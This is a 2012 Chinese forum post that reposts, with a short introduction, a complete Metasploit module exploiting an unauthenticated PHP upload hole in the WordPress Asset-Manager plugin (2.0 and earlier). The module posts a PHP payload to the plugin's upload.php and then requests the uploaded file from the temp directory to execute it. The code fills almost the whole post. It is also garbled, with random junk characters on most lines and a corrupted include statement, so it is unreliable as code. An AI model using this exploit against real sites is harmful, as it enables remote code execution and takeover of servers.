找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2442|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
8 P9 I: J2 A4 W% s- p! Y9 u% [9 F4 B4 S/ j& t0 W# O+ l- }
##
' B: M4 C7 d, s/ o" X+ i% q# This file is part of the Metasploit Framework and may be subject to* k, }  J9 N1 h8 x" }( ~+ @
# redistribution and commercial restrictions. Please see the Metasploit+ X/ _2 Q( T* r1 ^  o$ M
# Framework web site for more information on licensing and terms of use.
  W& L1 V1 Y' W! ^8 }#   http://metasploit.com/framework/3 r- ]) ~* a) @8 P" M: v8 d% x4 u
##6 _9 [! L) v! ]3 U- M. X

& H. X) U! h! u( T4 n0 srequire 'msf/core'5 Q& U9 r& R. D! O
require 'msf/core/exploit/php_exe'
# o1 L; H& R! ^1 s- z# R6 h 5 P. P$ E8 h  s1 y8 D7 B
class Metasploit3 < Msf::Exploit::Remote
9 S* A: I/ F9 z7 v1 T1 C% ?( j  Rank = ExcellentRanking
0 f" c) ?/ V9 N4 X, @! v* ^5 L
2 ?. R, \6 _0 n$ T3 C# W  include Msf::Exploit::Remote::HttpClient% E6 O$ C, i9 S
  include Msf::Exploit:hpEXE
# s& V7 @5 y( m / K8 V1 p. [2 M
  def initialize(info = {})+ [* j8 {7 j# L' p3 k
    super(update_info(info,
/ L. x7 P0 m, J  Z1 f- Q, B. ^, ^      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',: O+ N7 Q% B5 s3 a+ s. r
      'Description'    => %q{. @2 M5 V/ ^4 f: n4 x+ L/ b; a9 @0 [2 Z6 L
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
2 g: u: O( p& p1 Y* y        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
% [" H9 i5 T. a4 H  S" c        temp directory without authentication, which results in arbitrary code execution.; g3 y' Y4 [, j# `/ C7 [, v
      },
- D, q4 c, U7 n3 w& @      'Author'         =>( r. R6 m* z& u( |/ }
        [
$ r) Z# }; `' Z3 n& Z          'Sammy FORGIT', # initial discovery
3 Y. k- a( c) j3 a# q. ?  J  u* L          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
) ]3 R( Y" r0 D        ],: X' B* |2 }* _7 c7 Q
      'License'        => MSF_LICENSE,1 b8 K6 h9 B2 w' K6 \0 l
      'References'     =>
4 d# z# w. Q, a: s$ v        [
+ L; a* h' J& I& b' u4 Y0 ^          [ 'OSVDB', '82653' ],) ]9 J* a  o7 A+ u. L" \& N4 B  i/ W
          [ 'BID', '53809' ],
8 y1 Z' b0 |5 M  }" @" u' Y          [ 'EDB', '18993' ],  G. w; T1 d* F9 ]; ^6 i
          [ 'URL', 'http:// www.myhack58.com /' ]# w6 W  q7 @: f/ ]" B# A* }
        ],
: C* M. k& y+ D) z/ a- H5 T      'Payload'       =>
% e2 o+ w7 h. k) c: t  d) K4 S7 @        {1 [# H" w5 a, Z+ ~
          'BadChars' => "\x00",8 X! Z; Z! F& {2 d5 ^8 G
        },+ h  r( E* }' S7 x4 d% B5 y1 r
      'Platform'       => 'php',
4 R1 k) L: B1 a) [      'Arch'           => ARCH_PHP,: ?5 W0 E5 U4 O" _, p
      'Targets'        =>
4 j1 D' S' z' f        [/ l! [) A; D  Y( h. l6 c
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
' n& f9 n% i2 q& A" k          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]" H  w6 o* o) ]1 n, Z4 y3 o
        ],' Y4 ^! g" ?  @) i' ~3 z( c
      'DefaultTarget' => 0,
) G3 X7 w5 j) K" k% [3 _' U      'DisclosureDate' => 'May 26 2012'))
& Z( c2 C) K4 S' n* D
% [; n2 n8 e! v* n    register_options(3 g6 e- @' [: u) z3 p
      [4 i( t3 {* _; Q6 C
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])6 h5 k+ q$ q' x! s3 @
      ], self.class)- p$ g& A; ~0 V. l3 d
  end4 w( |( s; t* `1 ?1 G# N8 L7 ~! d
! m3 c; w0 W/ O$ G$ u! L
  def exploit' R# B! y, {9 r
    uri =  target_uri.path, y, |$ E7 D) Y
    uri << '/' if uri[-1,1] != '/'
9 y& G' g9 ]0 h) ~4 k/ h" E- [    peer = "#{rhost}:#{rport}"
" |2 W6 [6 `! o* U3 `* p$ e    payload_name = "#{rand_text_alpha(5)}.php"# S0 R" b5 `# C$ M- S
    php_payload = get_write_exec_payload(:unlink_self=>true)
1 w1 t8 T8 r; W/ \" K% f
* l. w/ z5 n) o! |( I7 A0 e# f    data = Rex::MIME::Message.new. y. Q4 K/ U$ L7 ]1 Z! D
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
/ m! z2 y/ R3 {8 ?! }" l7 ~6 R    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  }. Z  w- x  Z) ^2 G* d ' p8 C$ N$ X) N" G. L7 K  g5 I
    print_status("#{peer} - Uploading payload #{payload_name}")
3 z9 s* s% a: W+ F2 b' g    res = send_request_cgi({
8 \. {! c% a  P+ n0 G      'method'  => 'POST',
+ F# U, f+ P4 B+ n      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",- E  A7 M0 E( Q. A6 J0 h7 R
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
% [2 P$ E7 d  |$ H7 K      'data'    => post_data: _/ ~+ d+ v0 L* G
    })4 r' F6 D3 N& g

! e( L; H& x3 G: d. |5 ]3 ?    if not res or res.code != 200 or res.body !~ /#{payload_name}/
, k$ f; z' `5 z: {( |& V" r      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
' m" P5 \% D0 D4 F9 ?$ E) h6 [end* W6 h' Z8 q; ]' F/ r+ g2 }
/ S9 c; H3 A, J, g
    print_status("#{peer} - Executing payload #{payload_name}")) s# V# _7 p5 p* z4 \% J
    res = send_request_raw({0 Y3 f- p( w. W& K; I8 `  j$ G+ T* e
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
+ R. B: p- n: @      'method'  => 'GET'2 c7 |: }8 j9 f. M/ K) D
    })
8 z% y1 [' L% d- \; X% c ) [5 w# A/ P3 F0 C
    if res and res.code != 200
1 m( p4 r- l5 t. _! ~9 a& D7 k      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")6 Q2 Q5 F) V, v$ a( N; |
    end7 E$ Q  t9 V8 h0 }4 v0 \, b
  end
+ Q$ K( j( R) N' B, B. Wend
6 Q/ V9 D; T: Q  Z' F5 d& n. ]* q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表